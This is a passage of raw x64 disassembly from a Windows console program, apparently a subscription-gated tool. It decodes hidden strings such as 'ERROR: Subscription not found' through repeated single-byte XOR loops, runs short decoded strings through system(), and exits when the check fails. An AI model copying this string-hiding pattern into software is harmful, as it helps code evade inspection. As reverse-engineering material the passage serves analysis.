mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x368], 0
jmp 0x14004eb71
mov rax, qword [rsp + 0x368]
inc rax
mov qword [rsp + 0x368], rax
cmp qword [rsp + 0x368], 4
jae 0x14004ebdb
mov rax, qword [rsp + 0x368]
lea rax, [rsp + rax + 0x14c9]
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0xd00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c8]
xor eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x368]
lea rax, [rsp + rax + 0x14c9]
mov qword [rsp + 0xd08], rax
mov rax, qword [rsp + 0xd08]
mov cl, byte [rsp + 0xc0]
mov byte [rax], cl
jmp 0x14004eb5e
mov eax, 4
imul rax, rax, 1
lea rax, [rsp + rax + 0x14c9]
mov qword [rsp + 0xd10], rax
mov rax, qword [rsp + 0xd10]
mov byte [rax], 0
lea rax, [rsp + 0x14c9]
mov qword [rsp + 0xd18], rax
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rsp + 0xd18]
call fcn.140005fa4
mov dx, 0xb
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x1730], 0x59
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1731], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1732], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1733], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1734], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1735], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1736], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1737], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1738], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1739], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173a], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173b], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173c], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173d], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173e], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173f], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1740], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1741], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1742], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1743], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1744], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1745], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1746], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1747], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1748], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1749], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174a], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174b], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174c], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174d], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174e], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174f], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1750], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1751], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1752], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1753], al
movsx eax, byte [rsp + 0x1730]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.8b21534a_68e0_4088_a5ae_06aecf9de005
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1754], al
lea rax, [rsp + 0x1755]
lea rax, [rsp + 0x1755]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x370], 0
jmp 0x14004f1f7
mov rax, qword [rsp + 0x370]
inc rax
mov qword [rsp + 0x370], rax
cmp qword [rsp + 0x370], 0x24
jae 0x14004f261
mov rax, qword [rsp + 0x370]
lea rax, [rsp + rax + 0x1731]
mov qword [rsp + 0xd20], rax
mov rax, qword [rsp + 0xd20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1730]
xor eax, ecx
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0x370]
lea rax, [rsp + rax + 0x1731]
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0xd28]
mov cl, byte [rsp + 0xc1]
mov byte [rax], cl
jmp 0x14004f1e4
mov eax, 0x24
imul rax, rax, 1
lea rax, [rsp + rax + 0x1731]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xd30]
mov byte [rax], 0
lea rax, [rsp + 0x1731]
mov qword [rsp + 0xd38], rax
mov rdx, qword [rsp + 0xd38]
lea rcx, [rsp + 0x19f0]
call fcn.140004f10
nop
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0xd40], rax
lea rax, [rsp + 0x13f8]
mov qword [rsp + 0xd50], rax
lea rax, [rsp + 0x12d8]
mov qword [rsp + 0xd60], rax
lea rdx, [rsp + 0x1990]
mov rcx, qword [rsp + 0xd40]
call fcn.1400539e0
mov qword [rsp + 0xd48], rax
mov rax, qword [rsp + 0xd48]
mov qword [rsp + 0xd68], rax
lea rdx, [rsp + 0x19f0]
mov rcx, qword [rsp + 0xd50]
call fcn.1400539e0
mov qword [rsp + 0xd58], rax
mov rax, qword [rsp + 0xd58]
mov qword [rsp + 0xd70], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0xd60]
call fcn.1400539e0
mov qword [rsp + 0xd78], rax
mov r8, qword [rsp + 0xd68]
mov rdx, qword [rsp + 0xd70]
mov rcx, qword [rsp + 0xd78]
call fcn.140035be4
movzx eax, al
test eax, eax
jne 0x14004fd8f
mov byte [rsp + 0x14b8], 0xa
movsx eax, byte [rsp + 0x14b8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3bec]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14b9], al
movsx eax, byte [rsp + 0x14b8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3bec]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ba], al
movsx eax, byte [rsp + 0x14b8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3bec]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14bb], al
lea rax, [rsp + 0x14bc]
lea rax, [rsp + 0x14bc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x378], 0
jmp 0x14004f434
mov rax, qword [rsp + 0x378]
inc rax
mov qword [rsp + 0x378], rax
cmp qword [rsp + 0x378], 3
jae 0x14004f49e
mov rax, qword [rsp + 0x378]
lea rax, [rsp + rax + 0x14b9]
mov qword [rsp + 0xd80], rax
mov rax, qword [rsp + 0xd80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b8]
xor eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x378]
lea rax, [rsp + rax + 0x14b9]
mov qword [rsp + 0xd88], rax
mov rax, qword [rsp + 0xd88]
mov cl, byte [rsp + 0xc2]
mov byte [rax], cl
jmp 0x14004f421
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x14b9]
mov qword [rsp + 0xd90], rax
mov rax, qword [rsp + 0xd90]
mov byte [rax], 0
lea rax, [rsp + 0x14b9]
mov qword [rsp + 0xd98], rax
mov rcx, qword [rsp + 0xd98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dx, 4
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x17d0], 0x29
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d1], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d2], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d3], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d4], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d5], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d6], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d7], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d8], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17d9], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17da], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17db], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17dc], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17dd], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17de], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17df], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e0], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e1], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e2], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e3], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e4], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e5], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e6], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e7], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e8], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17e9], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ea], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17eb], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ec], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ed], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ee], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ef], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f0], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f1], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f2], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f3], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f4], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f5], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f6], al
movsx eax, byte [rsp + 0x17d0]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._n_n___ERROR__Subscription_not_found__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17f7], al
lea rax, [rsp + 0x17f8]
lea rax, [rsp + 0x17f8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x380], 0
jmp 0x14004fb28
mov rax, qword [rsp + 0x380]
inc rax
mov qword [rsp + 0x380], rax
cmp qword [rsp + 0x380], 0x27
jae 0x14004fb92
mov rax, qword [rsp + 0x380]
lea rax, [rsp + rax + 0x17d1]
mov qword [rsp + 0xda0], rax
mov rax, qword [rsp + 0xda0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17d0]
xor eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x380]
lea rax, [rsp + rax + 0x17d1]
mov qword [rsp + 0xda8], rax
mov rax, qword [rsp + 0xda8]
mov cl, byte [rsp + 0xc3]
mov byte [rax], cl
jmp 0x14004fb15
mov eax, 0x27
imul rax, rax, 1
lea rax, [rsp + rax + 0x17d1]
mov qword [rsp + 0xdb0], rax
mov rax, qword [rsp + 0xdb0]
mov byte [rax], 0
lea rax, [rsp + 0x17d1]
mov qword [rsp + 0xdb8], rax
mov rcx, qword [rsp + 0xdb8]
call fcn.140005fa4
mov byte [rsp + 0x14f8], 0x3b
movsx eax, byte [rsp + 0x14f8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4800]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f9], al
movsx eax, byte [rsp + 0x14f8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4800]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14fa], al
movsx eax, byte [rsp + 0x14f8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4800]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14fb], al
movsx eax, byte [rsp + 0x14f8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4800]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14fc], al
movsx eax, byte [rsp + 0x14f8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4800]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14fd], al
lea rax, [rsp + 0x14fe]
lea rax, [rsp + 0x14fe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x388], 0
jmp 0x14004fcdb
mov rax, qword [rsp + 0x388]
inc rax
mov qword [rsp + 0x388], rax
cmp qword [rsp + 0x388], 5
jae 0x14004fd45
mov rax, qword [rsp + 0x388]
lea rax, [rsp + rax + 0x14f9]
mov qword [rsp + 0xdc0], rax
mov rax, qword [rsp + 0xdc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f8]
xor eax, ecx
mov byte [rsp + 0xc4], al
mov rax, qword [rsp + 0x388]
lea rax, [rsp + rax + 0x14f9]
mov qword [rsp + 0xdc8], rax
mov rax, qword [rsp + 0xdc8]
mov cl, byte [rsp + 0xc4]
mov byte [rax], cl
jmp 0x14004fcc8
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x14f9]
mov qword [rsp + 0xdd0], rax
mov rax, qword [rsp + 0xdd0]
mov byte [rax], 0
lea rax, [rsp + 0x14f9]
mov qword [rsp + 0xdd8], rax
mov rcx, qword [rsp + 0xdd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xde0], rax
lea rdx, [rsp + 0x19f0]
mov rcx, qword [rsp + 0xde0]
call fcn.1400539e0
mov qword [rsp + 0xde8], rax
mov rdx, qword [rsp + 0xde8]
lea rcx, [rsp + 0x1d90]
call fcn.14002f0b4
nop
lea rax, [rsp + 0x1318]
mov qword [rsp + 0xdf0], rax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xe00], rax
lea rdx, [rsp + 0x19f0]
mov rcx, qword [rsp + 0xdf0]
call fcn.1400539e0
mov qword [rsp + 0xdf8], rax
mov rax, qword [rsp + 0xdf8]
mov qword [rsp + 0xe08], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0xe00]
call fcn.1400539e0
mov qword [rsp + 0xe10], rax
mov r8, qword [rsp + 0xe08]
mov rdx, qword [rsp + 0xe10]
lea rcx, [rsp + 0x1a50]
call fcn.1400397f8
nop
mov byte [rsp + 0x15a8], 0x17
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n__Your
